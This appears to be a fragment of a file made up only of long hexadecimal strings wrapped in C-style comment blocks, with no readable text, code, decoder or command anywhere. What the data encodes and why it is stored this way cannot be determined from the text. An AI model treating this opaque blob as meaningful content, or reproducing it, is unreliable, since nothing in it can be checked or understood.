7055164a39d310c4d7122ddaf1d73704e050409fd530cad6a9972888a07c468f1b983c1c33bcd625cd46609f238d139a5bb6f2787fb8b8309cc300c163443821e4aa1306e98ccda2b10f561bf2a5249ad04bd62049e5eb96424ffa959edb2652aaf32de1576e3d278be937b81cffbbedf5ce712dc103e344d296350c3a4753f9c46e31aab61b289a817a63886b0b25f6364db64695e54261426ca0fe8ed7b26ad271fd1f13165c2e63d66d27899d08cb5fb553ee3c4f48f436d9cff789c5a181081b6342f584751adf322a9d75f6ee07be2b9dfd21957034c85577d4e9998a2ecd82c470436edfbb5ef501ce667d2db005936250a297b9b8984d06a851e4805c1e5fac6cf353ef9cc1301e01c6ddc937c4ccdc96585215f7db0bf3ddb3e028ccbcfed330ca2391164ac5c70759a1046018e95b6692897f4ad9f2737a748b10e729df38df70f25125d66c21497ac1a52dac4b3049f21976aa6688d567488267bbc03629755165cfe6cf3ef2edb9b8e4d8c82fd3435a44984da589e0b4cd990d7cc14f13adb70f3b19b648ecd21acf0d883e9125f827407398425d4881dd6f1f55042a5d6a84fadf7a240d9cda0e5ed0dc7a512330555061db926e10838a2f984cd610b854d06d40186d4a43694df1b7028a51e93e4db89e86be98e11151bc655c7fbc539fa46296be6f3bb319e8564a9fd4805452294dc56aa6f39f53dcd336b32ca9f9298a7c926dba6a0dfffd352fce4887595eee584eb8d27ae7ccd2fa7215d0efa47f20ff10a94854bb31be744aac1d69af2b379032d8672698331272b636fbd40624318e9fa2a0aa85cc554d1f56a52357d5e7dc60296b70239a813a200aa12df3ce0f87e009a1ee24ae58dc37fcdf8cc07d420d4bdf2762d290f99427c27f7f049a6d40cc439c72caa67012572d651072e7b27c5a99da08e86d1af58f45e9308efd25996e29c9ea6eff9064b1b1d14538188b83bb4b0fb4343c87cc79897c462e36fe4193b6e4ff4fd9289aa9f2fa33763aa4dc4f07de03276e87c6601466bf5db53d70395f6705c68792c6a7df5fc83510622950eb1aeeab78978ad298aa372cd3ea7bd830e34662131e67d2d9d9be722e979cea44a77e1890f506bbd2efdd7917fde9fd244358552f772654e1267e9457fecffa6b0803eec92fbc618bb9eb002640afcdc37b0d08562549b330faae480420e2302f330598a694a336fca821f82357bdd0862c2a3b2eb3780bcf9b6af83c97db223ba4989fa9c2ec9023555f72ead36e9ae5f08c526dab5494a67fe6ab7a1e0760bcde66069e4dbf8e231b8d559845e270fa1d188d927d08d3992e850126d9e6b537a5662514f5ed6ded245fbc3196ecdfcde3fbcf6f77e5de85c655dcc479e05ee1c23dcff418c50042636d8c5c6acea9af98560432e730d21c85a3171e6b96925c8f2ff1be6e605444ca0bbf24b9972af6df0aa12f94df748eb279491d8f3129e3322597e8852a58c855b737485ff25851e7ec3b95a77822dca6ed5667cbc02531a8662ffbe6e27a4d02d7b82ff0a0993a73429bbd8a4769fc19c371b997961c93505fcb68a769706f943a2e9037d6fa1def419719dd0225a02bb0f8c681d268714b40c5b629fbe93ab7ef604b036a1b47061b5ba84dc35612c6054ee2a9af32eb24bbfa5f68475fc2b0ef69b88477d2d44e27ca710ace4e78b420ea5c9214696407b0124e223cdb6d385abac8ab39d57d3daf4de76bab0d5cdd4902084ae46cadbe81e309aaf712e0aa363da7160502162719ee70623feb660501a8b5c4f7b56d627eb3892f71c67ebc1dc48cdd98aea63879782ad0ee15313421d0ed9a200730f6f69d1b584ebf5e99218b1f86ad691d16b8a3db606c4c6de85fa39fac12b5d86e5023aa543ef717b35ed47062244100eae9dd0070152a5734587c0ecad9567b43d1dafffb3f7b53bece319c2d265860b3ac507834f5c4df23047a06751ea8b2c0ab23f57e9716a7137008af25c101ec62afd6873fed0f44bc00210d0da5bfb8814d334336e743b4b7d08e349514492e07*/
/*c3efaa3aafda003d64bf7adbb58db0aece23b7582cdbc1be21e8c20bbda798669cff937c13acc1c196911ea4a2317624c17f6461dca7729b98723764125ba47c9b676aaafe87157b6cddd05eff947d3f34377fb37ae8953f8e830f766c65369ec357c5d30e95fc4f23d6814d042b7e81cfa9747e11efc3d7ace31f151f25d9501b8004c20e4c510444c07b5ead7a19bb92fb77a20a3eeef95a3f52f095a0039cf70c9f8a17ecbedeb1327e66f7eeb836b0fe275781962de4328c05e4246be11b165b1b39cd97dc0a40d28439d7683b14a9268984b49ee29dde206fdbe34a6f87d19ac79a786b9b12cba70fa5239c643debf6da4cc3323ad7e370be462964cae47f187e73ff228db0049c6cfd5b23abbc7473dbabe4fddb2cb1c98407b73518cb72f1fed89a8666612ce05e97418577390d3a667aae0b6df554dae1ec95f69cff504c847ae1531251ce893ec48568f72aeae91c8c109f308c775e808861464f318821a4a673d492786d4d23eae41fd47c0575cb9cea77a680f3af8788a23e1da505d698d14f774af8d733fabba291a481d865a6973362f976d62ba078e2c7cb52c90d7dee88edf47acd830bf01fe3b4975f7235459fe6000018abd14d81066d621f8c956e0c8c66b025267c8f8e903a365091ed2e3e7cf82cea17126482f335efee3757fc6253ac173cced1c1c6d868affa2a2296d9a45f8637f4ec437e656b2d51257732611306f8fca329c7100d53c5b4d491c0395dd9f9bbcf20f673a1cc19d2ea6e52985aaf8c16503372d4c809b386f9040d27e6e9f24c669607e0ed49a3008e469e003a223f52013f142877f5c493ca1ef256a55b68def9b7e91bbb8d3022292e08d9f8213f41956ceacec7c4fbe30a1be68a6a928ce667336def1f359d455009179cb5b304c75a7cd88d7e0814cc4ed70743cbe17ba7882f604d94a7f98c922c3b5ce1ee2b70dfa91b32f3e20c6d3a960b4939b3b336cb94e16c79581871b15848306cfe2bc0463daefa345815b5dcc108dc0df136a8ecbd1379d1fab0dc10896ff724a568844905de9e86b3676feba72fda13ea628d784a6a3799e03957d16231c87634a0827a533123d7288e9f4da264c9d965cb720b88c4a65f4822c43ac52fc8aadf50583d0116414aa223243458e094f9d0bac586b39ba30d0dca57bf9a8a8f94421b8c380437ee0d3b13ed779ed48e15bf00da198f0cd0214fd3cb58231541e4199a4dda774940a6e0428e64899b7441b872f168a65b7fd924ae06a0645f2fa522fea48c914561e71c9e370427bad5de7ce06bd8cef69dde78b7796352ce5282aee2e4fd76d2645b2c223d639994a12b47c1afcc9b088f5e673d8e2da9a70e80730520ede082153dd0dad584b39bd99066969097dac43083c038d3ce6082340c1d19881a7a24f442399a7f1c23fd086cbc63ab7f2560f77fd3671c1497d9b242649b38a06d911ae2aeda3ab61b2fa92b7fe9030cfc82587bee9e2779076c3c7b1510018b910bcd4a5348a9e833edc968c7fc127f1b0857ad637a3490cb15dbfc902c8680d5515259a2216a32b6885ed6137fe9c54c156abf204ff1ba0f134d6e09be5129e1604affc101681c93019158280420f42c390fa43b52ca6888cfd7ba27a7b9f8aec9820c7dedb6559c0d7ab535eac8ded70cc427174cb89f6d6724d3cceef4859a9083903934bea5de4661cb8cd359e8da850a58db984ba4e51901f3ca21ba9a5cc4d1549d5fdbe0eeccb32d079caf976b13804ce52f2051ae49d610e45e4683294105b2cb2a118be8bf3456746da96f2403d392a6964bfc01a895c53bfaa63d28b241bb066c4e8b09ceb7c9c71ff326590aeaf991f799dc26e5c6c1190f530acb0806f21d22734042b1110ba16977e2ab8c8116a5446d0f7b10a70bf32249df2f8b3e4e6118f656db37ed6c38933aa1aee59c8fb321b7f30c62c62a7d88a0740a7f6416f77b1d484dfbfa7a7a873648158762819352e20095e0c3dde52097a21341280d11a5d63c6286c3e78668ba7c4d7ef83dc37bc94686cbde08aabb15d85cdecd17cb7d8410c4f2ad3ecb413258fc2cd6f5ec78389a5f6e235578b0d5ab73d943e1a822b1d313fb05e123a7ce2591290500c36a42fac61301959033f62bdc0746039bacfa6485745270c93166f5c4ea77aa02121e151b233ffca34b78cddd999a546c62c65b8d94a04acb4e42958d31f5553c4ddac28da3c0aae9fae5311c86f525d13f6d18ca1c902a978e87734ba54033fb7285866b79d5b1598bf72f27d486ceaef843436af12938f0f193c89e9ace6fdcdfa70ef2681b5eb79986ed645691d39c76afd80d725ceb7073c2e8311102942c3e7fa87c89461891515dc2858a2f3c34effcddf7bb8a4bfba084b4f94cce4b6f2d5545fe285cbfd35e836a1abf53c86d6e590586bfa664b52d6200515436e26c4081181fbc10d015c3ff6f37157ddfc9013935fe0489787628ebe0f3be786bb7fe315d536437efaab68fb6b04f389595f6fdda6a2ba79aa0d8ebabf6a2fcf6e4d4ce9e2ac75cbbf62df7cf09c7381dd97988c2ba3f9e5dac26f3294d4ee9731f9a18a508d8aeb05d6fa7043c90e0728667757292090ea47f00bb4d9e47b3a3d0dbda0914f52b3a5bd60cbe18a7e71c89aa9ad42a302ff722b5afc4b8d089106c6bc5b31cdd0d4f07b9c213dba4ed6342af2a0f22e3ff49d759b57009bb8afa846c510d2cb08bbdf6f183ae19075d68cc2d3ecdc7045b363c38dd08e0d4787028876e7ada097dee31c9a72e58ae0844f9864498ba3d72cd9c295f67db54f7b18110a6c855020026eab6d96da5ae13df4992*/
/*5c3d0877f81c6f7380fd61b85e24f8fc58b9544e7eba831de774a2db0f35deb0c44d27aa871f443a37d304221f7a77361ddd1ac5cefac3e186ae0e39e7f914752ecb6ce99cb98ab65a67a448d8e3ac15b6a79770d3c1dc08b050969fa4953bb15a7cc4999da60472e6bae3fe3fe37c2e00ad47e9b3cf6001a19a687d844f1d3b9c14ab6276b2bd13284443365490cb049ee2f4893e8ca9e314f3d9a00e0afd36d3f57358454d6b7dde7a8ba13c571148d27fbe76442175f792225d23f2a220377c0f0848632ae0d8d2c2c4efbf888c2823691dbb798679d22d9db64a8bddeb883d5cb2edcc6f375b4767dc83c3befa1a9fbd212792f5e053d0bd1465f73c3d9176e149a79227d45acfb357a26944266a734865d84dab3deef9a5d89d173bdbfc3dfb5f9fc5397a5963092ea22624ccd5e3e8feb5335ece73ac571b8e9126c811dc00ff08921c35dfd0d894c720d2b8f35bc492609d52e47eb2c651526f50021c11359ec24ec69ea616895cee0c9037f1592ae42c32fc4c249b0701f4c1e122f76c545596ef44653147291c3b04086dc86259dc7200286b1764630e76be1c26e7c26de0622f7c10aa4b96b8a5b528f18e721c500977f3fa4849cb14d01c10870d12b82b44d175bb71061fe5443d5dc94636881c2527a56a764640f8b88df18829965103536a0fa04426fba933b71fa3d57f848eaf87ea1c176da947b58754d08ecdacd6c17dca4c479fbf4a823f72c3f0d02c47d1a88c8720ac36b3b2b8957b79609a3433c5a7f670635e76822dbd15f6f22b272a05af245122f537e0bb0a19024f29526c88debee8ec1b3c89a99b160b5a43c0429215734697fb9fad5de39cc2a035f9630061b7e27cb70814baa062c1f97328d2360806f37c304d3da8a98b492259a2795b338c41115a516af7ee3098cbc9df106ac6d9b9e7d5dfa4da083ff60f4b0522e6427ed350fc79067428ac495aa84a00702decd64175368ba774c538cc8fda78c0ac8d45871f627920506af6f403d0d48b42b9f93305d9819fab502c68fa93d29655f93d1ccf9083b84d932b27d1bd49e877cd07226ceae73c7ac31fa05fc1a6c697753ff00119e30f357f25286d133c7d98d1d7c307b5e63da8a339ed2deb35295b44e9ff39a167273610de66227278c14de3bd6a5517d8570e4f4cae29218fb38fcc7856e653043344eee4675b634d82f332ffaffcc0814a4a238e44e8b73ef9a4150f65546df79a198a62852ffb790ad9b117c57b1275fd151250f01ec0b870239d1ff8c3b884c2e9630d2c61287921a908aa8b46b73e904e1ddcf24d88372dd985024d4b8efe1809a085668f62687a516ecc4b56f7d8ee638ff68975950301d1cd0863f0a0c3f48bef103eacfb4fddbd95477e8a758109fe9d1613a9efa0a674d34ee5a8c0b2b1d13edbfc60c6b19eb796692ec206b4234ec1c4111eb9831473e27df70a980264ab421a294b1446d81a7e2d0b2484ed1493f8f13cdf06c8755044a9b1a14d50ced76bd918ab52acc48b602d9aac544fda1008eae7fe740397058fc109ab762d65141409ee9287681363c970f721c1c1f08958a6f4342b9857bc2dc3d58e969ca33bf289ca10c303a09317d1ddfa680dec90b4012b7773a73d315a3237a3b3a72193318525be84433ce58b0e4b4c56b91c61139aa2a60e77864706a585de6b1ab307b4c43a22ef047da89e2e0b4b2ceac19b23ce9482bb427eddb7fcd289786377c89581982095180e96f344e771aa29d07709b6ead94900b0a4e2e46e2945f86258e61e7b2b8c70106adbb2cd86b3220bdc6322ee1cabee8280d5eae996a62ddad3f0a08649867d65df32ef1d70e443517c0c2460fd95b82baa755ea9c751d2e682309129e66d74e41b79912420cd7c5833754d4d65ee0c02ca63659ff9d3607b6464ac5f55d0cb2ada8a290153dde4a301789bf60ceb32e61fb4518178ac9955ad9636da3b65c56f840d8c11c77806d0ef286a75ffbdbef0629125c5010182496f2106b0cdb17f79649448d9e9df9e7ccc940f0e5899ecda56f238a71a9534c3789071336425f69ad49bcc6949e73b6bce67cce4a70f7cf136a9ce3cfa5bb0c0fa94ca8f319809521ac87acc61c6e82f5e14c09ea7282d3dbb8d2830352462f66bc63c9f000f652885ae6ce6e8a39ac022a5428c79b2a74fcd0f133ffef5dd99ad4d41019c8450df52688ba29634a89ca467f95d40b43c953e6cf2115dd3aaaa127c498d37e7222047b1802d1a541c2f832fc579f2a111bf096122c8135e684b34507c80c8a16d7f505c70511bf80d67f7a1a978fd66b8a89fab44aaf041857bf5bffb31d1088dda9453c589ff27b73571f831abffd4852a2042c16b01be9892f75f4f44ce04ba3fde4189861f20cfd95161409e02885220577d8d26247429744d80804fc4ad4e7142081d9da581579f007f9b805a828dc062e5961b1278758331df15eb234f39196be19db3fb28b8a499f03b8f819edf80b745a4f657f4f97d482f411f0879a9d92a266340ba7a815ac0c49c2bb432a8d18d19c850454f6635f16b2069f7115c7272e3abd613d84689f10746fbc7b86d4c834927869668523feaeabef73b70fd94f84c4f5eddcd046b20d81a4c66fb99467d5c51e7c6857efdb575fbf6d4b40256fddfce733aeb83153910154ca9fc935f01840af274270cbe211f9b37c61d25dabce747eb75f4f00e72aad9bd00ef739da9b380be247068350eb11810ec5d43f9c575569098a1a61bfc320d5c106343209271a7a7b75599ef83bb746882737ca1d2961b2c480495671daa8ef00d8bc8e30f12870509c424e49751f4*/
/*3dacc9c2811a4e47e2b036a947b5163e5b1541cce382391393aec368dd74071669e66c80ed89a70eb925425832692567b86676ac6c76957cf68baed82c11c1ca1210c4c2f0e70d710bcf4e023efd3aff8f1a8727ea2fc515b00adae3e56ee3c584efb58e73e606ea1b5ba50ef91895d7dbdae1abbba13d9a47d43e662a0a0bc84b1e682b1e35b277fa873e24c16086b9e15fc14013428c9bc515a945b478b9d14e2d4d36270703d7eb7bbdd5c4fef3b90cf9c83ccc3a64eb866e5dae6e7277f1e63b9996d822cb7dca0a890f2cf7ddc62e1bfacd1aa8876e82715c54562e99560e4fe89dcf1ed6949c84ae8acbffc5533eb23b210bf2dc95110dedab09f20c068627adbff64753636e9a785f12d383649c6760ae89c46e2aee6e593ff96f0ce69def994d525909d6dadcb6665c784546a4d386c45800615a20799ac3e58ea0bfade2470864c094267027ab8e3b4f7e57457bde7b93a9558591ce1f5acfe172ac39bc5ce018c85fc43740495529c74d38a6037e6e7cf4ec12c07754284f402b23dc5084c3c887ab2842580bb985dab1605263f8544d2ee0d189b15bb9d3036f414755fe8ab0b0ae4650a981acbc6b94409360ba66f0dfdcbd8fa1df71dd640076320bbc06e8388a09fd163a6210dc3ae72285159fc938342a7c88d130e8b5ac336e99e550c1f8ccafd4c4d0d1bf00c63fdb1a97c7dcc96535cddbbd83a75d200f3b08a28445c46b3cf021695185552520b6296292211cf207f1eb4df7b42030e4eb554189c1581759440da27030a756e02e10890bbce6b795618081a8bb0d29e15d020530f870c5aad556e216ff58052d2d27f17b91f3d84ddc042f7aa33493428031e7b779055a07f146a86772969e8f1c0eb9571fa825bbc82e722b12bc36944dfaef82948ed99433d29c2925918750c53a96661cb67c7bc53394bc7034146aaa882062fde9b31a7461de4c29ac2a35815f2c924f02d0a45814dfd45a9249ef04f814c55fb8f5db941cb47d317d8208126fd9453c26dcbe4882ad071d1d8c74ab54d6b7f076a7b3ef76fa9941be7d4df4f2ba33d0c1ba1512524623e0c435ad7bfb7d8a15590c90798724e8d41765b9f8ce85d34e5d2b5ffecdbb1cfdd4885e7b28b0d4bd27b47e54b794c0a6e91bd61638a177ba96859b619c9541ac9109e0a2b069cdbb6885194254d58bdb32ebe5d94ef98b684cf0e27966265a9c54b440512c65dc69876cb3f25a6bf1995872552e5bb5dda609a746b7993834875654175ca9724a21684b1b941e17c78411d5d92ba494f25055b8240bfe4fb9ba982336ff866d19dbb6d20947602c0b77462664eada1e2be12e3192babf6c786c6ac385ab88b7b5202bcb896fc613baf6093c7dcc3f136eb8c64694d5d29dc337ae4fc6fc0f4e2ba67166700388b0c82fc5e7b26c43d37f8ca53776aca74f7e7ca1988312eac3426d1149708128ffad0c357c38e23ded58d1b4e3caea93ef65af0ddb1179584ec7404e40b62aef12cc02a27f1a1499e4af8ad2fa2eabf49f1669a31f5e972e9c6feb3f95eaf1dfac594e096f4ab461613b1901c6e2e190bf5af63d25feb43ff0d896cffed5825367d62f069a9199aa049ab7483bcb894286c01c757a066f140ee0ecd0dbde3198c8ea1e606179c59e61a4cf17e4ee60bebe339c8fbff5a2f560e6ef0aa5ba8e94acd362b362e2e692a59aa3cbfd03c0c83b89b5a8c1ca47f335261719542031df0cb83bb9d4815fd82dcab0119e95fcac73d9380c86460fd6385492eb2917e9f56576e1e92aa49a3751f488cc2e3a83f25375127dce84afe0fdad9a74d877ad5dac056b0187d670e51b6c3df2186ab052349dc23eeec8b91732569973e7bc621d6b753a747f40397f60d44244d3702525742517a174cdafddf05152e1b0415ddcbd2297e4d8816a125ac216755c8bdf3325add217a2fefe09f08ad701db070190a03b39d32a4b2bef1450a654aa87f50b96d0acbae90c4976bc8cb06b7122a4cee74b2eb79b266f44e38a93cde5f49cee71a59918ca01069f4669dd629241a6a9149e31a71734fd1b7b28daea572528ac4805bf7040a60e0420d9f96c20ae671e1e4aece3d048961c95d86def3c574cb6a10041d1eb13969b4f718b2e7df2dec07488236cb8643c757c56e18e6ff748f30d8aadd75875eebc987d463ef40517eed52886c0d00b3a04e6935b814fbf03fbb15d35a5a9ab4c45014634cff5131453f877092869387f9ff25e04a31f3d9842bf4f8e7bf822253793150e7b5aefcf60b2ab3d253d47955762527549e53dc0bce6a2ec1711ba5fc05c34813bc5e807cb4d37edc247908738faa10403452e6def928021afcb3b199ce2272dfd755ff4c517b9a538dd9eede0e3529d1f3cfa73c2e23a655602377f17ede54376ba897a30b54f445035c0bfa5803f2b70b7e833b07d754dfdaa546c0448923c9c23a85c32f36ad4e88ccfc5ae67815af02e6e1521441508843f84b72a20184500adcf73e8b3cfa61b8a9f91dcfa031f931a2e5128efb0c774a0067bea4b0597d5d79fce86baf30b82cdd1ef8a83a547e77db71a7357b0401b6fddd3716d9f8e13759c46ea1b16fa7c4f8daa6f90d792362fc46f89d883bdcc9d2b34134ff0b6bfe4a5f10cd1944c99cae2095c7ad95269e933869b5583b82618a1bb85834fb2fa2e56f7d1b02e33ad433a601bbc51f86d8a58b6eb078e43335bd3bae8f37e703ea31c0cbba58b9e4444a8cb4211a3c99d9777a886e3e5c925ce8919a94e6ebb4b62d6da99d9f14ccbf1e56f98d8ab42f6ec9bfa0b3728a15675ff4fad6525cc554451b2ce0956c5726afb*/
/*9511a90e009f5f791bf421b6eccd5ffcecfff970c3bd38895aaa78b16fc60547a59c76ec5e3a1b111450e6553519403e84b77ae8eafab5385cd9fc02f534fa60f8eb1eddecb05c66e4e3da4163575e776743bc94f124e329f0557561c169badc1df0451f9b84dde2eab6288095b30227df9f378012bdfc5ade1e5241a51dda40fc17a613089ddec390b197871d671ea99d2fa0644300f5d6810a92459609e45ec602d2f45a8e969e63cbdd6d51101d23726e005e67bd14c02d5f40da5d993529dc9f78a81ebd2ba9335b33cc2442a74ad5cb124a42d621877e6a1d4d4785b2b703ec453e0b68cf91c744d50b54a64aa29d1110009f77c57fd23a3fdb2a829e1819f68aadfd9e40b1a071bcdf1e6ff57cd7309899c79d771a17600b95e65b867c12825c2948d0d64d37c5dc6df70282a068af3e60b848b89edc8409ac3aa96145297942e8fb9651a12f2ba341208232aff4c1c86fc0b1d347e1161beba8d9a7963bdd36189351cfa25715deaff52c7c6be8c930b97b080d7463bf04917f290095f542e95349957d6dea9d9e21d26f4ba927e591efc1b8af5ea6b15e724219f968275e30bdbf45ddb7eb041b5858475697303fcab23763453a7b82361f88363f16789fc2ebb42f3802ec4f0e3fa5271b33f8281d991869a5653db0fce6053d97487029efc964dcaf06e6c05a15a6864ef49d43a776b3071065f8584aa741dc903d1b5b93fa852953395b08c929afc2c637f6485790c658b2f2f9e44a086ec2fb96344c5985f3808f93a7aaa65c7f0ec80e257b9cdd28fe384e98830878daf2dd35bd3b21a0f5c203a0aa1b3585d8adbf9a6e7db3acfc8b9a7a52e6b9bbcc32249a4414dd444cb4723db4a473f2bb97901bfdf3ab863c29efa7462f320faa950267a1c95fa380ad35e8fe8eff319e951271a83e8b1525609a84984af44ce72e23e69f9a7c243a99eda07a6127f2de498fb76d2b6aa652bae8c6be58e79ab6d9794862e7822dc07416d724705f89470f66dfdb926b195f3a74a0c7b229b689e653d0df28fa2c745a63b19cf0455dd24c3167f4aed34511d5a9fda2d5dc397936e69a842e85608cca653069869174d4b0114714fd2466a745021692fcd95a8753993a9674b2f680a06e9041616d5aa003972b4344c071919f7842daef27f40790ca79cd1c3c481e06bb87f45e9ace4fc681b5a389f0bdf62a5c7236f782c1d672f7734235a1c364a35b34891ec51669ddba181d3e9448270bd35ec0dfbcf89b7ead84b4c8f8f7d54a5b896bea4efe23a03812ff447a614e05810de59c5d23002f7365fcbf8f6fc319573c1f48ae5f0713b132b0e9bd409cf56262e32adab2b4bf79601027b2ef0abcdd80b85fee599df285b5a5d2e78621e38cc7c6f96ac36c9f27baf5393a7860912f3eb4ac2e9ab664475dd634f4e1dcf0844e83aa8c77c5f7b3a06666117dd3bf1cf649ff1bb621d43901d2d79c512040d9a4b17e3318c43da12a9b861a703c50ce31f1328718fbca10ca5e547424c9568f3d3828cb20375bfb5e289cb7d1b389aec887e9849f723c30d42ed5f296686ebf16b9b81210198a540429f4e579a5fc40568e06c56cc7067b10ce6b908ee5990eb30ef36de5c15ac0093f625683deed93dba9919e10f65038802bc49a875dfa444cc8fe0b5f7f90fc85f83393ad643e69aefb94a90112322b9a93908ace88363a280abb8a078cdd48e58bacaf408c14fbdc407603901b6188af0b0cb9beddebac790b8d74ecf7c05c9e4ee8052adf7fb2dd7db921a8094cb51ba9af773ec31d95e72044cda91fbff6f72534a76f3d37f4287f85686da6e3576d5666e10550d78c4767f9bcd9f98655329d74552a8b6412487624ad95893ecb65828a371d30fade5bf9108e34c142bce5405e2374968b9b56a75ed0e7ee1bd0aa6061a3e7ceaa6f82077135345f6cb4ead65d47dd28af70cd11fff73dcc1a112505bf25b945b2a9d9d8deccae5054114765b13c2fdfcc16f9b08592b1586bd8f03e99f57f7e715a0f44ae93a0cdf9c7e3b24219f11b974864607debf9c10359e3ebe4b469e4fa007fd3cc2048502db87de3720de74e476142f0a212f5049423fa336d8408fa76a5dc0a79fa172bc6c12576682d8bfd76a9c6cc5fc4a0cfe998adc62a754cdd0f435a0bcb84828d6d234c66c9b674ce5dbce394998564323c598fbc06dde3b2216c296b7b4b80b63f1acc76f22e034cd9c5dd69c5ec8bed8b37a17e9874afc404f9840627a931c38d9b9e36497f327cc488a89bdda6c3e0bf0fc33b379a67b6743104b2facd3931db9708b88d2cbf02293cda6329c016ec165caabeacc9608b9e5a3d40f6dc4213c1921cf2a1af93a34f80abaceb7d1c7efa416f90896bab9436bedef29a33ccfb0bb69f8720a9799e42ea9ac6a62e39e526e07923bb29d778b774639739d08a4747c6f7515194afc6eeee30b582ec1b06f4d5ba69c548904a31cccd38c204e00e796e8501ce74bd5537a3f5055c7698720bef4fce917fd6023b9ac0e6cb8c350083264dbc29f607b2a5efd4815e9097b1de0b78e70f90a404e5996c377f7168d47878aa7dd36646d65ad5fab62d6a2b9a24c9bc57783db5481eaf92dcb2337ef201195240ba838d67186f27c5a166f0a48914142761d8f72ba91384bbb2d68432048ba0f979b1a51539248eff833792f695de3c85c539d8d219e9efcbe0f291fca016ea5eb99482c8370ea618026235170f8d0fccb1a15d2bc9fc8e7a3326f40eb50385b25cbeb044510e6ec4bbaefd266e223c87a03e27373041fcb66eaf0de6c3561a46c3ab74d2b2515f3b57cb6d4b052f4e*/
/*bbf56981776b6f3ff4c864e2b224a38b21faf85be44e5adadee249535f30ba96c728d936717db07481ca4e9938f2cdda0803a7a9e0b81701d0801647445460d1bbd78da446282ba556026788ad06101f15de5362429c1435cddfc16a1d017b1deed0e204ec12f0af44683ae81ada52cf43923fa25b144dc3cbbcf200402e1ab9d6a498ff4fa6add14c645781beb61c02f3fcd853056a4030e500bbcc29da478be46a551e47805b097aecc18d9163058082c5c38550bfad04d79401a8e8e9fd31e18b928ddda07342197f1dc72bdc9c0d4441b16635ee944c9fa1c0b5db3a89d8d9cb09550d542ba692e0e0d504442f81c9c0db41e9ddce0ed4d0751d87512f9e09b7d1b542bc68af23345f53efd4ca5b4e6da5feae19913b7cb7485ae32cfb9481d32d1497bdd2b7f4aff554e742ddfc89473dbfcbfe7ddbf3822cb7e61754d0a3394811f40d88cc639065d68bf27dee70c330c1dec75a485bc83c3ed40a2421020bcf1ba48b2cd5ca912a943ea99681ca7eaf3a4e442608d811836bbfcebf66533800df60ad7a7f01bdb5b785a35af5245a2b52bc37646b9b52ce262c8f752bb4e6af3b69802cc676fb33da1a71dcb9616a8022929536edf900ff7cddb4fe4b5d647f2b074dddad6e03bc41b49f27e441d1b80adbbd460c6a4b3cae10d95435be3c4126ef5990f99ac330ef145100f98c0b2a93d26dc310e099f4ae448224e913f243224c158bc166915675ce81cf99cde159b147ffa783cad87a002c764d3dc5efe16aa31cc42d9ddd04a7a1be0eaa2781313c9e8a814ec076c676cb4a9b2f6a009ca933fe6ddd915a7f7668368749f0e318ba24a5fdf869cc69fc133ff2dc73f19195ecb7ddf4fd0a0aaa8e72819e41f938a2e9dbf049872592c1446bf5dc544614264a3d949ecf1dd875f9990ee2d706aca3eadd6465488a4a899abf08dacec173891281647959be286fc039f2b4491578b4796aeec9a24feea5588cd6868ff8077adbf677f7ae841644676e35fc55035b07743e7f09ab746b311bfffc97d66159e4642c203a05093949cceafa72b40caace105454b5d7e820fc6cb791802fa6e8534df47fa3908fe47c5b981488fb117e5c7a4577ccea809cbabd42c9d0f9e9d6550cd09006c7f4dc2549ffb6b6a5d5ebf8fc7fb479bc08c514fe7627f0841975243a06736aede030c40f848160fb0e288e2c9869199953690d2e77599071251719d0a43eaade337e6058dd8619afcdb8294031c73333375d063d234a0c8819ca3088dd8dea8de5ac59c4a6125335c8a960113ee1d8d07a798fa25588a1164e4caa03386cd57060782243d5e2391524f8b8d3afb1c087b15c43f23cae3edd03f8bec14e27e94b53295ed0dc82b2c276bafe0fb57be62f0349d6d029636a4246f94738a8deaad5864788a9e45a04d94b66e108b6901b2c378b453daf7396aebaff0559237e37075efbd11f7b6511b7e88b943d1b6c36f329ab73cbbe87e8cc655402be8485eef3c0abf5b270b9281f77931215abe32609a11c43788d3ea294c59eba844766161d063fc657154303211f230ba3d09203e5bff226fc14b2ca508d3ab5b660628cafc4c987d8c0cc44b239f845392b347d4d29956d9325845fdeea9edafd642a5059d4474d540a2f9f670aff0f6fa776a4b76a7cd0becfa12219e5cf4219d8c88e5cd7ac8b2741d7b785e2b861ae7ad39c177fafae53757e6fad4b4e0d0f23d8b2e4cec7cecb9eba4f0ac29252cee890bd92ede2bc30e1fc1e3f8e996399291ab2f1562771b7c2a8fe3dc55084106f54d7a5ad553c89959b365a2720af2acdd12bbd4037ed8528b7e5d07b0f77979c2dc7572172efff2a54e9506133df39e68045bcdeaefba52e69dde4be01e05bd94e93781a6219d6645716dc6fe32ffd5321c2415e3a86a3bed7fd922045a78237509f99b80f62f1ab7611a3ae9a7b1817ad9bf7948d58739a4fe68865ed803dceecc73460f944d3da8df47c5eb074ed0cbcc19be3517c179814bc1890223e83d8ed8ebbad2664acf545adc6b36d9618babb1bbc7c86f7d4ecb00351a45b0768855ff4e9b1c15caf54ddda674a853bc384489919f6bd630914dc811da54a57d412d5655a9cf46693512e9b5d9e5e0dc09d3eaa7d5c29985776c6bffe6d5517363d208c354bbc54f93bf3dd667574157de5dc567ad9f2655bf68bd4d0276b2ba9c5ec4e9a6804f3f3d9e8038f5d18efc4918aac29edfe7048721da47fae900debb330af89fbcac83cc45a88a0be8d7afb99a1490b2b4fa997ab6919b76a94ec9d36828e4c08f371cb315a50f4bc6029bff3c24ed29b22fcf8cf6d07e05d8489bd34d56f335f476cc948032b3305a563ba927b59f87cb409b97071b68220ac05e9dfe5fa2b95c7ca401e95ce239b5a0e86a646ff610bb62a8e00da92381a837300ef108fe2ddd188e576a6f1f57a120f07b0487796928a0000dde6861586d6b54d1f9da17439655f388b9370675cd22cad98c49124a7b4a080104c604e1e68d3a55d3e1c3f2d073e892b0852c426f31f8fdf30df3749151915e5ea806dae18c99f8dbb0c22c82d75215a58958e7fccac2a2eca7030a6761097337ce19f62dfde145e08c20f8481a2373bf9b33e51cb0deed3e5e3320cb7dd7318dadbde58306967f04a87cadfcd557efddd9ae3cdbcef5dd67bde766b06c97d619e1cf597cf382a1ddf662fcaaf526ea38007c9094739e7fe7fc4ce5409f8deca0c6640772ef1971c219357b646a6a52b2bee43c7852d0e4d5d73e002cb3fd78949cca67cb4477e14ff47c7074f970904c761c3e984798724690854cf860a5f9b915e*/
